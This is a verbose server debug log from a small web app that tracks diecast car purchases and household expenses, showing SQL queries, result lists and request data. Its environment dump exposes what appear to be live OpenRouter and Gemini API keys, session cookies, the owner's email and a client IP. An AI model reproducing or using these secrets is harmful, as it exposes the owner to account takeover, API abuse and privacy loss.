      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:31:08.573Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:31:08.573Z server-connect:app Executing action step identify
2026-02-12T13:31:08.573Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:08.574Z server-connect:output identity: 1
2026-02-12T13:31:08.574Z server-connect:app Executing action step restrict
2026-02-12T13:31:08.574Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:08.574Z server-connect:output restrict: undefined
2026-02-12T13:31:08.574Z server-connect:app Executing action step select
2026-02-12T13:31:08.574Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:08.576Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:31:08.576Z server-connect:app Executing action step select
2026-02-12T13:31:08.576Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:08.577Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:31:08.577Z server-connect:app Executing action step select
2026-02-12T13:31:08.577Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:08.578Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:31:24.437Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:31:24.438Z server-connect:app Executing action step identify
2026-02-12T13:31:24.438Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:24.438Z server-connect:output identity: 1
2026-02-12T13:31:24.438Z server-connect:app Executing action step restrict
2026-02-12T13:31:24.438Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:31:24.438Z server-connect:output restrict: undefined
2026-02-12T13:31:24.438Z server-connect:router Render template layouts/main
2026-02-12T13:31:24.439Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"136d1-qa4OuapGZqHKZpBpEPQYKYod2B0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"136d1-qa4OuapGZqHKZpBpEPQYKYod2B0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:31:25.039Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:31:25.040Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:31:25.042Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:25.043Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:25.044Z server-connect:app Executing action step identify
2026-02-12T13:31:25.044Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:25.044Z server-connect:output identity: 1
2026-02-12T13:31:25.044Z server-connect:app Executing action step restrict
2026-02-12T13:31:25.044Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:25.045Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:31:25.046Z server-connect:output restrict: undefined
2026-02-12T13:31:25.046Z server-connect:app Executing action step select
2026-02-12T13:31:25.046Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:31:25.046Z server-connect:app Executing action step identify
2026-02-12T13:31:25.046Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:25.047Z server-connect:output identity: 1
2026-02-12T13:31:25.047Z server-connect:app Executing action step restrict
2026-02-12T13:31:25.047Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:25.047Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:25.048Z server-connect:app Executing action step identify
2026-02-12T13:31:25.048Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:25.048Z server-connect:output identity: 1
2026-02-12T13:31:25.048Z server-connect:app Executing action step restrict
2026-02-12T13:31:25.048Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:25.048Z server-connect:output restrict: undefined
2026-02-12T13:31:25.048Z server-connect:app Executing action step single
2026-02-12T13:31:25.048Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:31:25.049Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:31:25.051Z server-connect:app Executing action step identify
2026-02-12T13:31:25.051Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:25.051Z server-connect:output identity: 1
2026-02-12T13:31:25.051Z server-connect:app Executing action step restrict
2026-02-12T13:31:25.051Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:25.052Z server-connect:output restrict: undefined
2026-02-12T13:31:25.052Z server-connect:app Executing action step select
2026-02-12T13:31:25.052Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:25.052Z server-connect:app Executing action step identify
2026-02-12T13:31:25.052Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:25.052Z server-connect:output identity: 1
2026-02-12T13:31:25.053Z server-connect:app Executing action step restrict
2026-02-12T13:31:25.053Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:25.053Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:31:25.054Z server-connect:output restrict: undefined
2026-02-12T13:31:25.054Z server-connect:app Executing action step select
2026-02-12T13:31:25.054Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:25.054Z server-connect:output restrict: undefined
2026-02-12T13:31:25.054Z server-connect:app Executing action step paged
2026-02-12T13:31:25.054Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
